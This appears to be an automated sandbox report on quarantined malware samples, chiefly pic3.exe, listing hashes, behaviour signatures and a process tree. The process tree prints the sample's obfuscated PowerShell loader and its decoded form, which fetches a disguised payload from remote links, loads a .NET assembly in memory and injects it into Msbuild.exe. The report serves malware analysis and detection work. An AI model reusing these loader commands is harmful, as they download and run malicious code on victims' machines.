Overview
overview
10Static
static
5quarantine...Ab.exe
windows7-x64
1quarantine...Ab.exe
windows10-2004-x64
10quarantine...Jz.exe
windows7-x64
7quarantine...Jz.exe
windows10-2004-x64
7quarantine...8M.exe
windows7-x64
3quarantine...8M.exe
windows10-2004-x64
3quarantine...0.html
windows7-x64
3quarantine...0.html
windows10-2004-x64
3quarantine...n.html
windows7-x64
3quarantine...n.html
windows10-2004-x64
3quarantine...y.html
windows7-x64
3quarantine...y.html
windows10-2004-x64
3quarantine/am_no.bat
windows7-x64
10quarantine/am_no.bat
windows10-2004-x64
quarantine...ad.exe
windows10-2004-x64
10quarantine...Y.html
windows7-x64
3quarantine...Y.html
windows10-2004-x64
3quarantine...t.html
windows7-x64
3quarantine...t.html
windows10-2004-x64
3quarantine...2.html
windows7-x64
3quarantine...2.html
windows10-2004-x64
3quarantine/pic2.exe
windows7-x64
5quarantine/pic2.exe
windows10-2004-x64
7quarantine/pic3.exe
windows10-2004-x64
8quarantine/random.exe
windows7-x64
10quarantine/random.exe
windows10-2004-x64
10quarantine...s.html
windows7-x64
3quarantine...s.html
windows10-2004-x64
3quarantine...mz.exe
windows7-x64
1quarantine...mz.exe
windows10-2004-x64
10Analysis
-
max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20250217-en -
resource tags
arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system -
submitted
26/02/2025, 23:27
Static task
static1
Behavioral task
behavioral1
Sample
quarantine/0frhMAb.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
quarantine/0frhMAb.exe
Resource
win10v2004-20250217-en
Behavioral task
behavioral3
Sample
quarantine/7axE6Jz.exe
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
quarantine/7axE6Jz.exe
Resource
win10v2004-20250217-en
Behavioral task
behavioral5
Sample
quarantine/Dyshh8M.exe
Resource
win7-20240903-en
Behavioral task
behavioral6
Sample
quarantine/Dyshh8M.exe
Resource
win10v2004-20250217-en
Behavioral task
behavioral7
Sample
quarantine/GEFwbK0.html
Resource
win7-20240903-en
Behavioral task
behavioral8
Sample
quarantine/GEFwbK0.html
Resource
win10v2004-20250217-en
Behavioral task
behavioral9
Sample
quarantine/I8L5Xon.html
Resource
win7-20240903-en
Behavioral task
behavioral10
Sample
quarantine/I8L5Xon.html
Resource
win10v2004-20250217-en
Behavioral task
behavioral11
Sample
quarantine/IxZcQMy.html
Resource
win7-20240903-en
Behavioral task
behavioral12
Sample
quarantine/IxZcQMy.html
Resource
win10v2004-20250217-en
Behavioral task
behavioral13
Sample
quarantine/am_no.bat
Resource
win7-20240903-en
Behavioral task
behavioral14
Sample
quarantine/am_no.bat
Resource
win10v2004-20250217-en
Behavioral task
behavioral15
Sample
quarantine/download.exe
Resource
win10v2004-20250217-en
Behavioral task
behavioral16
Sample
quarantine/imfsCjY.html
Resource
win7-20241010-en
Behavioral task
behavioral17
Sample
quarantine/imfsCjY.html
Resource
win10v2004-20250217-en
Behavioral task
behavioral18
Sample
quarantine/kablenet.html
Resource
win7-20241023-en
Behavioral task
behavioral19
Sample
quarantine/kablenet.html
Resource
win10v2004-20250217-en
Behavioral task
behavioral20
Sample
quarantine/ninite22.html
Resource
win7-20240729-en
Behavioral task
behavioral21
Sample
quarantine/ninite22.html
Resource
win10v2004-20250217-en
Behavioral task
behavioral22
Sample
quarantine/pic2.exe
Resource
win7-20240903-en
Behavioral task
behavioral23
Sample
quarantine/pic2.exe
Resource
win10v2004-20250217-en
Behavioral task
behavioral24
Sample
quarantine/pic3.exe
Resource
win10v2004-20250217-en
Behavioral task
behavioral25
Sample
quarantine/random.exe
Resource
win7-20240903-en
Behavioral task
behavioral26
Sample
quarantine/random.exe
Resource
win10v2004-20250217-en
Behavioral task
behavioral27
Sample
quarantine/ssystemfiktums.html
Resource
win7-20241010-en
Behavioral task
behavioral28
Sample
quarantine/ssystemfiktums.html
Resource
win10v2004-20250217-en
Behavioral task
behavioral29
Sample
quarantine/xqWgymz.exe
Resource
win7-20240729-en
Behavioral task
behavioral30
Sample
quarantine/xqWgymz.exe
Resource
win10v2004-20250217-en
General
-
Target
quarantine/pic3.exe
-
Size
159KB
-
MD5
0ea1a068ec89f5bb4afd9751b8f0870b
-
SHA1
fc528ec63da19524d1f4ba7a5fda49a94d67d105
-
SHA256
3a2d68520beaa0fb116027a0727f19ef31e6b127dc0ce437600866cbf84ef97f
-
SHA512
2ec7f2ac9b949512e671285b0dc8119326473aab4f98b81864c936dfde1fe66ad6c190f8040d892cf0e0efc25ec46a6ef1c58871ce60da44a79a36f5d4573b8e
-
SSDEEP
3072:8ahKyd2n3155GWp1icKAArDZz4N9GhbkrNEk10kigT:8ahO1p0yN90QEO
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 6 1484 powershell.exe 29 1484 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 888 powershell.exe 1484 powershell.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Control Panel\International\Geo\Nation WScript.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" pic3.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1484 set thread context of 4176 1484 powershell.exe 101 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Msbuild.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000_Classes\Local Settings cmd.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 888 powershell.exe 888 powershell.exe 1484 powershell.exe 1484 powershell.exe 4176 Msbuild.exe 4176 Msbuild.exe 4176 Msbuild.exe 4176 Msbuild.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 888 powershell.exe Token: SeDebugPrivilege 1484 powershell.exe -
Suspicious use of WriteProcessMemory 17 IoCs
description pid Process procid_target PID 4060 wrote to memory of 3552 4060 pic3.exe 85 PID 4060 wrote to memory of 3552 4060 pic3.exe 85 PID 3552 wrote to memory of 1856 3552 cmd.exe 87 PID 3552 wrote to memory of 1856 3552 cmd.exe 87 PID 1856 wrote to memory of 888 1856 WScript.exe 89 PID 1856 wrote to memory of 888 1856 WScript.exe 89 PID 888 wrote to memory of 1484 888 powershell.exe 91 PID 888 wrote to memory of 1484 888 powershell.exe 91 PID 1484 wrote to memory of 4176 1484 powershell.exe 101 PID 1484 wrote to memory of 4176 1484 powershell.exe 101 PID 1484 wrote to memory of 4176 1484 powershell.exe 101 PID 1484 wrote to memory of 4176 1484 powershell.exe 101 PID 1484 wrote to memory of 4176 1484 powershell.exe 101 PID 1484 wrote to memory of 4176 1484 powershell.exe 101 PID 1484 wrote to memory of 4176 1484 powershell.exe 101 PID 1484 wrote to memory of 4176 1484 powershell.exe 101 PID 1484 wrote to memory of 4176 1484 powershell.exe 101
Processes
-
C:\Users\Admin\AppData\Local\Temp\quarantine\pic3.exe"C:\Users\Admin\AppData\Local\Temp\quarantine\pic3.exe"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4060 -
C:\Windows\SYSTEM32\cmd.execmd.exe /c 67bcef97a5ffe.vbs2⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3552 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\67bcef97a5ffe.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1856 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$dosigo = 'WwBO@GU@d@@u@FM@ZQBy@HY@aQBj@GU@U@Bv@Gk@bgB0@E0@YQBu@GE@ZwBl@HI@XQ@6@Do@UwBl@GM@dQBy@Gk@d@B5@F@@cgBv@HQ@bwBj@G8@b@@g@D0@I@Bb@E4@ZQB0@C4@UwBl@GM@dQBy@Gk@d@B5@F@@cgBv@HQ@bwBj@G8@b@BU@Hk@c@Bl@F0@Og@6@FQ@b@Bz@DE@Mg@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@ZgB1@G4@YwB0@Gk@bwBu@C@@R@Bv@Hc@bgBs@G8@YQBk@EQ@YQB0@GE@RgBy@G8@bQBM@Gk@bgBr@HM@I@B7@C@@c@Bh@HI@YQBt@C@@K@Bb@HM@d@By@Gk@bgBn@Fs@XQBd@CQ@b@Bp@G4@awBz@Ck@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@B3@GU@YgBD@Gw@aQBl@G4@d@@g@D0@I@BO@GU@dw@t@E8@YgBq@GU@YwB0@C@@UwB5@HM@d@Bl@G0@LgBO@GU@d@@u@Fc@ZQBi@EM@b@Bp@GU@bgB0@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bz@Gg@dQBm@GY@b@Bl@GQ@T@Bp@G4@awBz@C@@PQ@g@Ec@ZQB0@C0@UgBh@G4@Z@Bv@G0@I@@t@Ek@bgBw@HU@d@BP@GI@agBl@GM@d@@g@CQ@b@Bp@G4@awBz@C@@LQBD@G8@dQBu@HQ@I@@k@Gw@aQBu@Gs@cw@u@Ew@ZQBu@Gc@d@Bo@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@ZgBv@HI@ZQBh@GM@a@@g@Cg@J@Bs@Gk@bgBr@C@@aQBu@C@@J@Bz@Gg@dQBm@GY@b@Bl@GQ@T@Bp@G4@awBz@Ck@I@B7@C@@d@By@Hk@I@B7@C@@cgBl@HQ@dQBy@G4@I@@k@Hc@ZQBi@EM@b@Bp@GU@bgB0@C4@R@Bv@Hc@bgBs@G8@YQBk@EQ@YQB0@GE@K@@k@Gw@aQBu@Gs@KQ@g@H0@I@Bj@GE@d@Bj@Gg@I@B7@C@@YwBv@G4@d@Bp@G4@dQBl@C@@fQ@g@H0@Ow@g@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@By@GU@d@B1@HI@bg@g@CQ@bgB1@Gw@b@@g@H0@Ow@g@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@Gw@aQBu@Gs@cw@g@D0@I@B@@Cg@JwBo@HQ@d@Bw@HM@Og@v@C8@YgBp@HQ@YgB1@GM@awBl@HQ@LgBv@HI@Zw@v@GY@ZwBo@Gg@a@Bo@Gg@a@Bo@C8@dgBk@GY@ZgBn@GQ@LwBk@G8@dwBu@Gw@bwBh@GQ@cw@v@HQ@ZQBz@HQ@LgBq@H@@Zw@/@DE@Mw@3@DE@MQ@z@Cc@L@@g@Cc@a@B0@HQ@c@Bz@Do@Lw@v@G8@ZgBp@GM@ZQ@z@DY@NQ@u@Gc@aQB0@Gg@dQBi@C4@aQBv@C8@MQ@v@HQ@ZQBz@HQ@LgBq@H@@Zw@n@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@Gk@bQBh@Gc@ZQBC@Hk@d@Bl@HM@I@@9@C@@R@Bv@Hc@bgBs@G8@YQBk@EQ@YQB0@GE@RgBy@G8@bQBM@Gk@bgBr@HM@I@@k@Gw@aQBu@Gs@cw@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@Gk@Zg@g@Cg@J@Bp@G0@YQBn@GU@QgB5@HQ@ZQBz@C@@LQBu@GU@I@@k@G4@dQBs@Gw@KQ@g@Hs@I@@k@Gk@bQBh@Gc@ZQBU@GU@e@B0@C@@PQ@g@Fs@UwB5@HM@d@Bl@G0@LgBU@GU@e@B0@C4@RQBu@GM@bwBk@Gk@bgBn@F0@Og@6@FU@V@BG@Dg@LgBH@GU@d@BT@HQ@cgBp@G4@Zw@o@CQ@aQBt@GE@ZwBl@EI@eQB0@GU@cw@p@Ds@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bz@HQ@YQBy@HQ@RgBs@GE@Zw@g@D0@I@@n@Dw@P@BC@EE@UwBF@DY@N@Bf@FM@V@BB@FI@V@@+@D4@Jw@7@C@@J@Bl@G4@Z@BG@Gw@YQBn@C@@PQ@g@Cc@P@@8@EI@QQBT@EU@Ng@0@F8@RQBO@EQ@Pg@+@Cc@Ow@g@CQ@cwB0@GE@cgB0@Ek@bgBk@GU@e@@g@D0@I@@k@Gk@bQBh@Gc@ZQBU@GU@e@B0@C4@SQBu@GQ@ZQB4@E8@Zg@o@CQ@cwB0@GE@cgB0@EY@b@Bh@Gc@KQ@7@C@@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@ZQBu@GQ@SQBu@GQ@ZQB4@C@@PQ@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@LgBJ@G4@Z@Bl@Hg@TwBm@Cg@J@Bl@G4@Z@BG@Gw@YQBn@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@Bp@GY@I@@o@CQ@cwB0@GE@cgB0@Ek@bgBk@GU@e@@g@C0@ZwBl@C@@M@@g@C0@YQBu@GQ@I@@k@GU@bgBk@Ek@bgBk@GU@e@@g@C0@ZwB0@C@@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@Ck@I@B7@C@@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@C@@Kw@9@C@@J@Bz@HQ@YQBy@HQ@RgBs@GE@Zw@u@Ew@ZQBu@Gc@d@Bo@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bi@GE@cwBl@DY@N@BM@GU@bgBn@HQ@a@@g@D0@I@@k@GU@bgBk@Ek@bgBk@GU@e@@g@C0@I@@k@HM@d@Bh@HI@d@BJ@G4@Z@Bl@Hg@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@GI@YQBz@GU@Ng@0@EM@bwBt@G0@YQBu@GQ@I@@9@C@@J@Bp@G0@YQBn@GU@V@Bl@Hg@d@@u@FM@dQBi@HM@d@By@Gk@bgBn@Cg@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@Cw@I@@k@GI@YQBz@GU@Ng@0@Ew@ZQBu@Gc@d@Bo@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@BF@G4@YwBv@GQ@ZQBk@FQ@ZQB4@HQ@I@@9@Fs@QwBv@G4@dgBl@HI@d@Bd@Do@OgBU@G8@QgBh@HM@ZQ@2@DQ@UwB0@HI@aQBu@Gc@K@@k@EI@eQB0@GU@cw@p@Ds@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bj@G8@bQBt@GE@bgBk@EI@eQB0@GU@cw@g@D0@I@Bb@FM@eQBz@HQ@ZQBt@C4@QwBv@G4@dgBl@HI@d@Bd@Do@OgBG@HI@bwBt@EI@YQBz@GU@Ng@0@FM@d@By@Gk@bgBn@Cg@J@Bi@GE@cwBl@DY@N@BD@G8@bQBt@GE@bgBk@Ck@Ow@g@C@@I@@k@HQ@ZQB4@HQ@I@@9@C@@J@BF@G4@YwBv@GQ@ZQBk@FQ@ZQB4@HQ@Ow@g@CQ@b@Bv@GE@Z@Bl@GQ@QQBz@HM@ZQBt@GI@b@B5@C@@PQ@g@Fs@UwB5@HM@d@Bl@G0@LgBS@GU@ZgBs@GU@YwB0@Gk@bwBu@C4@QQBz@HM@ZQBt@GI@b@B5@F0@Og@6@Ew@bwBh@GQ@K@@k@GM@bwBt@G0@YQBu@GQ@QgB5@HQ@ZQBz@Ck@Ow@g@C@@J@BF@G4@YwBv@GQ@ZQBk@FQ@ZQB4@HQ@I@@9@Fs@QwBv@G4@dgBl@HI@d@Bd@Do@OgBU@G8@QgBh@HM@ZQ@2@DQ@UwB0@HI@aQBu@Gc@K@@k@EI@eQB0@GU@cw@p@Ds@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@YwBv@G0@c@By@GU@cwBz@GU@Z@BC@Hk@d@Bl@EE@cgBy@GE@eQ@g@D0@I@BH@GU@d@@t@EM@bwBt@H@@cgBl@HM@cwBl@GQ@QgB5@HQ@ZQBB@HI@cgBh@Hk@I@@t@GI@eQB0@GU@QQBy@HI@YQB5@C@@J@Bl@G4@YwBU@GU@e@B0@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@HQ@eQBw@GU@I@@9@C@@J@Bs@G8@YQBk@GU@Z@BB@HM@cwBl@G0@YgBs@Hk@LgBH@GU@d@BU@Hk@c@Bl@Cg@JwB0@GU@cwB0@H@@bwB3@GU@cgBz@Gg@ZQBs@Gw@LgBI@G8@YQBh@GE@YQBh@GE@cwBk@G0@ZQ@n@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@EU@bgBj@G8@Z@Bl@GQ@V@Bl@Hg@d@@g@D0@WwBD@G8@bgB2@GU@cgB0@F0@Og@6@FQ@bwBC@GE@cwBl@DY@N@BT@HQ@cgBp@G4@Zw@o@CQ@QgB5@HQ@ZQBz@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@G0@ZQB0@Gg@bwBk@C@@PQ@g@CQ@d@B5@H@@ZQ@u@Ec@ZQB0@E0@ZQB0@Gg@bwBk@Cg@JwBs@GY@cwBn@GU@Z@Bk@GQ@Z@Bk@GQ@Z@Bh@Cc@KQ@u@Ek@bgB2@G8@awBl@Cg@J@Bu@HU@b@Bs@Cw@I@Bb@G8@YgBq@GU@YwB0@Fs@XQBd@C@@K@@n@C@@d@B4@HQ@LgBn@Gs@ZgBt@GE@agBy@C8@cwBl@Gw@aQBm@F8@YwBp@Gw@YgB1@H@@Lw@y@DE@MQ@u@DY@Mg@y@C4@M@@2@C4@Mg@2@C8@Lw@6@Cc@L@@g@Cc@M@@n@Cw@I@@n@FM@d@Bh@HI@d@B1@H@@TgBh@G0@ZQ@n@Cw@I@@n@E0@cwBi@HU@aQBs@GQ@Jw@s@C@@Jw@w@Cc@KQ@p@H0@fQ@=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $dosigo.replace('@','A') ));powershell.exe $OWjuxD .exe -windowstyle hidden -exec4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:888 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/fghhhhhhh/vdffgd/downloads/test.jpg?137113', 'https://ofice365.github.io/1/test.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $EncodedText =[Convert]::ToBase64String($Bytes); $commandBytes = [System.Convert]::FromBase64String($base64Command); $text = $EncodedText; $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $EncodedText =[Convert]::ToBase64String($Bytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $EncodedText =[Convert]::ToBase64String($Bytes); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] (' txt.gkfmajr/selif_cilbup/211.622.06.26//:', '0', 'StartupName', 'Msbuild', '0'))}}" .exe -windowstyle hidden -exec5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1484 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"6⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:4176
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
-
Filesize
64B
MD5d8b9a260789a22d72263ef3bb119108c
SHA1376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA256d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
SHA512550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b
-
Filesize
15KB
MD5e8b52173ea80a3b35b476222cef45835
SHA1492bbd503f6ac03375104e5e0ec16095117732da
SHA25615b1f23eff2c505506e6b434806d2ee0b22a6b7bade8e6760225cc36f1e4af06
SHA512814a971f4dd36d5983dd768560032701fd5c0b19eda5d88beb5079793f4b6eb02cdfb52f2ac90a1d5293b1b2e421e09e98e5ae78150bffc4f577a65e059fbc10
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82